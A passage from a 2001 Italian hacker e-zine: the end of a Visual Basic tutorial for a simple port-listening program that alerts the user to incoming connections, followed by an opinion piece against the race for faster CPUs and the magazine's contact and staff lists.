controllo TCP1 (che controlla la porta 23) nella casella lblip apparirà l'ip dell'attaccante:
lblip = TCP1.RemoteHostIP
E nella casella lblporta apparirà la porta alla quale ha tentato di collegarsi.. In questo
caso la 23.

Dopodiche che succede ?? Dopo averci informato dell'attacco il programma ci difende
dall'attaccante, chiudendogli la connessione con il nostro pc:
TCP1.close
E poi si rimette in ascolto sulla stessa porta in attesa di nuovi attacchi..

Facciamo lo stesso lavora sul controllo TCP2...

Private Sub TCP2_ConnectionRequest(ByVal requestID As Long)
lblip = TCP2.RemoteHostIP
lblporta = "25"
TCP2.Close
TCP2.LocalPort = Val(25)
TCP2.Listen
End Sub

E poi sugli altri controlli...

*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\

I codici principali del programma si chiudono qui, ma evidentemente ha bisogno di qualche
ritocco.. Infatti per adesso il programma funziona ma è molto rozzo.. Vi troverete a una
form grigia che quando c'è una connessione diventa così:
____________________
| |
| |
| 192.132.134.135 |
| 25 |
|____________________|

Direi che è piuttosto misera.. Aggiungiamo un po' di roba..
Prima di tutto un label con la scritta:"Ip attaccante:" e una con scritto "Porta:"
Mh.. Sì, meglio ma ha bisogno di qualche ritoccatina.. Sarebbe meglio che vediamo la
form solo qualche veniamo "attaccati".. Imposta la propietà visible della form
su false..
Vogliamo che appaia solo quando nella casella lblip appare un ip.. Giusto ?
Che appaia in primo piano per avvertirci del pericolo..
Mo
Ecco qui il codice:

Private Sub lblip_Change()
If lblip = "" Then Me.Visible = False Else lblip.Visible = True
SetWindowPos Me.hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOACTIVATE Or SWP_SHOWWINDOW Or !!
SWP_NOMOVE Or SWP_NOSIZE
End sub

E nelle dichiarazioni mettete questi codici:

Const HWND_TOPMOST = -1
Const HWND_NOTOPMOST = -2
Const SWP_NOSIZE = &H1
Const SWP_NOMOVE =

  
&H2
Const SWP_NOACTIVATE = &H10
Const SWP_SHOWWINDOW = &H40
Private Declare Sub SetWindowPos Lib "User32" (ByVal hWnd As Long, ByVal hWndInsertAfter As !!
Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As
Long)

Dove vedete i punti di esclamazione ( !! ) è xkè dovete mettere tutto su una riga nel
programma, non andare a capo come ho fatto io..

Poi ci aggiungiamo un pulsantino ( command1 ) che se cliccato fà diventare la form di nuovo
invisibile:

Private Sub Command1_Click()
lblip = ""
lblbporta = ""
me.Visible = False
End Sub

*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\

Ok, io avrei finito.. Se non avete chiaro qualcosa insieme alla rivista dovrebbero esserci
allegati i sorgenti scritti in Vb 6 di questo programma.
Se ancora avete dubbi sendatemi una mail: screener_it@freemail.it

*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\

Finito !! Un saluto particolare a:
- Tutti quelli che scrivono su Dirty Net
- I ragazzi di #hackersonline su AzzurraNet e #hack.it su irc.tin.it
- Syn^, Spyro, MrWolf, Bakunin, BigAlex, Tripping, GreenDragon
- Tutti quelli che si sono visti il derby Milan - Inter del 07/01 che io vedrò stasera a
casa mia (volevo andare anch'io, non è giusto !!!)
- A Fabrizio, il primo anarchico-leghista della storia !! :))))

*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\

<-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=->

+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [SHUTD0WN] #01 - 18/06/2001 |
| MA DAVVER0 Ci SERV0N0 CPU SEMPRE PiU' VEL0Ci ? ...... [Screener_it] 0x24/0x25 |
+-------------------------------------------------------------------------------+

Computer sempre + veloci, + potenti.. Ma davvero ci servono ?
Non è una nuova notizia che Intel & AMD abbiano sfondato con i loro processori la velocità di 1 GHz..
E' forse meno noto che Intel ha già annunciato per settembre l'uscita del processore a 2 GHz. Ma perchè ?

Credo che ormai l'industria del computer si sia avviata verso una strada da cui sarà molto difficile togliersi. Con il ritmo annuale di produzione & miglioramento dei vari componenti hardware un pc nuovo di zecca, potentissimo, ecc.. dopo un anno è obsoleto. Costringendo uffici, scuole & singoli utenti a costosi rinnovamenti hardware. Si passa dall'utente abbastanza smaliziato che decide di cambiare singoli componenti come motherboard & processore, magari aggiungendo nel corso degli anni schede video, audio, masterizzatori a seconda delle disponibilità liquide fino ad arrivare all'azienda, che letteramente "butta" via computer i cui componenti sarebbero ancora interessanti (tanto per dirne una gli hard disk) e rinnova l'intero impianto macchine (per chi ha orecchie: SOLDI NOSTRI !!)

Ma davvero c'è tutto questo bisogno di continuo rinnovamento ? Vediamo un po' i pro e i contro.
In questa continua corsa le varie aziende stanno velocizzando sempre di più i ritmi di produzione e avanzamento tecnologico, non lasciando spazio a controlli attenti e rigidi, rischiando così di mettere in commercio vere e proprie boiate, per dirne una i primi
Pentium II avevano qualche difficoltà con le divisioni.
E si continua a invenstire, ma si investe NON nella qualità, non fornendo agli utenti ciò di cui hanno realmente bisogno, ma si investe per aumentare quel numerino che indica la velocità di clock del processore !!
Abbiamo raggiunto 1 GHz.. Molti di voi avranno un computer superiore a 800 MHz.. Lasciate stare la marca [Intel, AMD, Cyrix, ecc..], davvero ne avete bisogno ?
Ok, i giochi del Pc vi vanno meglio, vedete Quake 3 Arena con una fluidità incredibile, avete 20 Gb di spazio libero sull'hard disk, avete RAM da 512 Mb [a proposito: se avete Windows 9* e 512 Mb di RAM Win non và.. "Memoria insufficiente", non è uno scherzo !], avete una scheda video con 64 Mb, una scheda audio da 256, un modem ADSL..

Ma in fin dei conti tutto questo non vi serve ! Pensateci bene. Per l'attuale uso del PC nella fascia d'ufficio un 133 Mhz sarebbe + che sufficiente, con hard disk da 2 Gb [magari se proprio serve si può montare un pc con un hard disk da 20 Gb e metterlo in condivisione per la LAN dell'ufficio], ma quasi tutti gli uffici sono equipaggiati da processori da 300 in sù [e li considerano obsoleti].
Per un utente medio un processore da 450 Mhz, una buona scheda video (diciamo 16 Mb) e 8 Gb di hard disk sono + che sufficienti !!
Di che avete bisogno ? Ma le case di costruzione vi convincono che avete bisogno dell'ultimo tipo di CPU per navigare meglio su internet [che caxxo c'entra poi..], per giocare o anche semplicemente per fare videoscrittura.

Meno di una settimana fa una mia compagna di classe mi chiede se un dato di PC andava bene..
Configurazione standard, ovvero Intel Pentium III 800, 20 Gb di Hard disk, 128 Mb di RAM, scheda video da 32 Mb, ecc..
Le chiedo per cosa le serve.. "Per scrivere le relazioni a computer a casa, fare presentazionin con PowerPoint, programmare in Vb..".
Beh, ma se è per quello si può spendere meno, non hai bisogno di tutto !! Vado in negozio.. Niente da fare, quella è la configurazione minima disponibile.

A questo punto vi chiedo: ma le case produttrici niente niente ci stanno prendendo per il culo ? Pensate a quello che può fare un processore da 800 MHz in più rispetto a un semplicissimo 133 MHz.. Niente, assolutamente niente !!

L'unica cosa in cui è necessario: i giochi.. Ma caxxo, boia XXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXX ! E' possibile che ogni nuovo gioco esca sul mercato necessità di componenti sempre più nuove ? Secondo me ci stà sotto qualcosa.. Cosa avrebbero da guadagnare i produttori di hardware facendo sviluppare i giochi sulle loro piattaforme ?
Mah, aspetta che ci penso.. Tanto. E cosa c'hanno da perdere ? Niente.
Perchè ci sarà sempre quel bambino che comprerà Fifa 2002, ci sarà sempre quel bambino che leggerà sulla confezione CONFIGURAZIONE MINIMA: CPU A 2 GHz, ci sarà sempre quel bambino che dirà "Mamma, devi comprarmi un computer nuovo" e ci sarà sempre chi su quel bambino ci farà soldi.
Ma non ridete di quel bambino.. Ci siete anche voi, che vi comprate il modem sempre più veloce.. Se qualcuno dice che ha un 33.6 voi gli ridete addosso dall'alto della vostra linea ISDN, ci siete anche voi tra quelli che si faranno una ADSL, ci sarete anche voi tra quelli.. E ci sarà sempre chi farà soldi su di voi.

"Ma come sei buono tu,
nelle tue parole, nei tuoi atteggiamenti,
ma come sei bravo tu,
MAESTRO DI NIENTE,
VENDITORE DI VENTO!"

ZZA - Kriptonite


<-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=->

+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [C0NTATTi] #01 - 18/06/2001 |
| D0VE TR0VARCi [oq ~ staff] 0x25/0x25 |
+-------------------------------------------------------------------------------+
Sul Web:
http://ondaquadra.cjb.net
http://www.hackerzine.org
http://www.bismark.it

Forum:
http://www.domeus.it/forum/oqmagazine

Mail:
mail@ondaquadra.cjb.net

Gli articoli mandateli qui:
articoli@ondaquadra.cjb.net

IRC
#ondaquadra@irc.azzurranet.org

Un saluto agli amici di:
http://www.tankcommandos.org
http://www.anarcopanico.3000.it
http://www.punto-informatico.it

#rotfl@irc.azzurranet.org
#chihackerare@irc.azzurranet.org

Prossima uscita: 17/09/2001

<-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=->

+-------------------------------------------------------------------------------+
| oq~staff: |
| Alfredo Lissoni .......................... [Centro Ufologico Nazionale] |
| Bartex ....................................................... [Bartex] |
| DarkAngel999 ........................................... [DarkAngel999] |
| E4zy ..................................................... [Wonder Boy] |
| JEYoNE .......................................... [365 giorni all'alba] |
| Lesion .......................................................... [_TO] |
| Mantis_ ....................................................... [Coder] |
| Martin Lutero ..................................... [Punto Informatico] |
| Mastro ........................................................ [Coder] |
| MightyInquisitor ...................................... [#chihackerare] |
| Mysha .......................................... [La donna del mistero] |
| Screener_it ..................................................... [TCC] |
| Stefano Bisi ................................... [Sciamano-viaggiatore] |
| Tdi110cv ........................................ [Senti un pochino...] |
| Tritemius ....................................................... [AUM] |
| Weisses ................................................... [Benzinaio] |
| xyzzy .................................................... [Linux Guru] |
+-------------------------------------------------------------------------------+
| ondaquadra.cjb.net ~ www.hackerzine.org ~ www.bismark.it |
| mail@ondaquadra.cjb.net ~ articoli@ondaquadra.cjb.net |
+-------------------------------------------------------------------------------+

[EOF]

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT